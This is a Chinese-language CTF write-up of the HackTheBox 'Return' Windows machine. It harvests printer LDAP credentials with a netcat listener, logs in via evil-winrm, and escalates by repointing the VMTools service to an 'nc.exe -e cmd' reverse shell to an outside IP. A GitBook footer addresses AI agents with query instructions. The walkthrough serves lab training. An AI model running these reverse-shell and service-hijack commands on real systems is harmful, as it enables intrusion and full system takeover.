> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/return-hackthebox-writeup.md). # Return HackTheBox 复盘 Return HackTheBox 简单 Windows 机器复盘，涵盖网络打印机滥用、滥用 Server Operators 组、服务配置处理，并包含实用的枚举、利用、立足点和 p {% embed url="" %} {% hint style="warning" %} **技能：** * 网络打印机滥用 * 滥用 Server Operators 组 * 服务配置处理 {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件： ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.108 -oG allPorts ```

**使用 extractPorts 分析开放端口：** 使用 extractPorts 函数以简洁格式显示开放端口，并将其复制到剪贴板。

**使用 Nmap 进行端口版本扫描：** 使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中： ```bash nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,5985,9389,47001,49664,49665,49666,49668,49671,49674,49675,49679,49682,4969 10.10.11.108 -oN targeted ```

要通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件

#### 80 端口：

## 网络打印机滥用在 80 端口设置中，发现一个指向 `print.return.local` 通过 389 端口被发现。

**监听 389 端口**/ 通过放置 `netcat` 在 389 端口上 ```bash nc -nlvp 389 ``` * 收到一个连接，揭示了某个 `svc-printer` 具有 `1edFg43012!!` 密码的用户的凭据。

**通过 WinRM 验证身份** 由于 WinRM 端口（5985）已开放，因此使用 `crackmapexec`: ```bash crackmapexec winrm 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!' ``` * “pwned” 的响应确认了凭据的有效性。

**通过 Evil-WinRM 登录** 使用 `evil-winrm` 以获得一个 shell 会话与 `svc-printer`:

evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'

### user.txt 标志 :)

## 权限提升（完整性级别）： {% embed url="" %} **成员所属组审计**/ 这个 `whoami /groups` 命令表明该用户属于 `Mandatory Label/High Mandatory Level` 组，这使他能够管理这些服务。

**用于权限提升的服务操控**/ 用户可以修改某个服务并重启它，以便以更高权限执行命令。

**创建服务**/ 尝试使用 `sc.exe`创建一个反向 shell 服务，但没有必要的权限：

sc.exe create reverse binPath="C:/Users/svc-printer/Desktop/nc.exe -e cmd 10.10.14.26 443"

**修改 VMTools 服务**/ 要操作现有服务， `nc.exe` 被传输到目标机器，然后 `VMTools` 服务被修改为运行反向 shell： * **传输 Netcat** ```bash cp /home/jordan/Desktop/htb/artic/scripts/netcat/nc.exe . ``` ```powershell upload /home/jordan/Desktop/htb/return/content/nc.exe ```

这里的思路是将某个服务的可执行文件重定向为执行反向 shell 命令；如果该服务以 `SYSTEM` 权限运行，你可能会获得一个高权限会话。 ```powershell sc.exe config VMTools binPath="C:/Users/svc-printer/Desktop/nc.exe -e cmd 10.10.14.26 443" ```

**重启服务**/ 配置完成后，重启服务以启动 shell：

sc.exe stop VMTools
sc.exe start VMTools

监听 443 端口以接收传入连接： ```bash sudo rlwrap nc -nlvp 443 ```

### root flag :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/return-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.